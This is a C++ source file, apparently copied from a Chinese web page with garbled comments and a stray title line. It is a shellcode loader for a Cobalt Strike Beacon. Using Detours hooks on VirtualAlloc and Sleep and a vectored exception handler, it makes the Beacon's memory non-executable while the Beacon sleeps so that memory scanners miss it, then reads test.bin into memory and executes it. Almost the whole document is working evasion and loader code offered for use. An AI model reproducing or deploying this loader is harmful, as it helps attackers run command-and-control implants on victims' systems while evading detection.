mg不朽情缘

#include "pch.h"

#include 

#include

#include 

#include "detours.h"

#include "detver.h"

#pragma comment(lib,"detours.lib")

LPVOID Beacon_address;

SIZE_T Beacon_data_len;

DWORD Beacon_Memory_address_flOldProtect;

HANDLE hEvent;

BOOL Vir_FLAG = TRUE;

LPVOID shellcode_addr;

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;

//分配内存地址和大幼

LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {

Beacon_data_len = dwSize;

Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);

printf("分配大幼:%d", Beacon_data_len);

printf("分配地址:%llx \n", Beacon_address);

return Beacon_address;

}

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

//设置新的sleep地址

void WINAPI NewSleep(DWORD dwMilliseconds)

{

if (Vir_FLAG)

{

   VirtualFree(shellcode_addr, 0, MEM_RELEASE);

    Vir_FLAG = false;

}

printf("sleep功夫:%d\n", dwMilliseconds);

SetEvent(hEvent);

OldSleep(dwMilliseconds);

}

void Hook()

{

DetourRestoreAfterWith(); //预防沉复HOOK

DetourTransactionBegin(); // 起头HOOK

DetourUpdateThread(GetCurrentThread());//列入一个在DetourTransaction过程中要进行update的线程，为了预防崩溃

DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //屡次挪用DetourAttach，HOOK多个函数

DetourAttach((PVOID*)&OldSleep, NewSleep);

DetourTransactionCommit(); //  提交HOOK

}

void UnHook()

{

DetourTransactionBegin();//解除截获过程

DetourUpdateThread(GetCurrentThread());//列入一个在DetourTransaction过程中要进行update的线程，为了预防崩溃

DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);//撤销对NewVirtualAlloc的hook

DetourTransactionCommit();//解除hook

}

size_t GetSize(char* szFilePath)

{

size_t size;

FILE* f = fopen(szFilePath, "rb");

fseek(f, 0, SEEK_END);

size = ftell(f);//ftell共同fseek推算出文件大幼

rewind(f);

fclose(f);

return size;

}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)

{

unsigned char* p = NULL;

FILE* f = NULL;

size_t res = 0;

*size = GetSize(szFilePath);

if (*size == 0) return NULL;

f = fopen(szFilePath, "rb");

if (f == NULL)

{

    printf("Binary file does not exists!\n");

    return 0;

}

p = new unsigned char[*size];

// Read file

rewind(f);

res = fread(p, sizeof(unsigned char), *size, f);

fclose(f);

if (res == 0)

{

    delete[] p;

    return NULL;

}

return p;

}

BOOL is_Exception(DWORD64 Exception_addr)

{

if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)

{

    printf("地址切合:%llx\n", Exception_addr);

    return true;

}

printf("地址不切合:%llx\n", Exception_addr);

return false;

}

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)

{

printf("FirstVectExcepHandler\n");

printf("异常谬误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);

//printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)

{

    printf("复原Beacon内存属性\n");

   VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//设置Beacon_address地点内存区域设置为可执行模式

    return EXCEPTION_CONTINUE_EXECUTION;

}

return EXCEPTION_CONTINUE_SEARCH;

}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)

{

printf("Beacon_set_Memory_attributes启动\n");

while (true)

{

   WaitForSingleObject(hEvent, INFINITE);//检测hEvent事务的信号状态,INFINITE暗示函数将仅在对象收到信号时返回

    printf("设置Beacon内存属性不成执行\n");

   VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr地点内存区域设置为不成执行模式

    ResetEvent(hEvent); //设置事务hEvent为无信号状态

}

return 0;

}

int main()

{

hEvent = CreateEvent(NULL, TRUE, false, NULL);//创建一个定名的或无名的事务对象

AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//注册向量异常处置法式，并返回异常处置法式的句柄

Hook(); //起头hook

HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);//创建线程，指向线程函数的地址Beacon_set_Memory_attributes

CloseHandle(hThread1);//关关线程

unsigned char* BinData = NULL;

size_t size = 0;

char* szFilePath = ".\\test.bin";  

BinData = ReadBinaryFile(szFilePath, &size);

shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);//申请内存空间，返回首地址

memcpy(shellcode_addr, BinData, size);//从存储区 BinData复造 size个字节到存储区 shellcode_addr

VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr地点内存区域设置为可执行模式

(*(int(*)()) shellcode_addr)(); //执行shellcode

UnHook();//实现hook

return 0;

}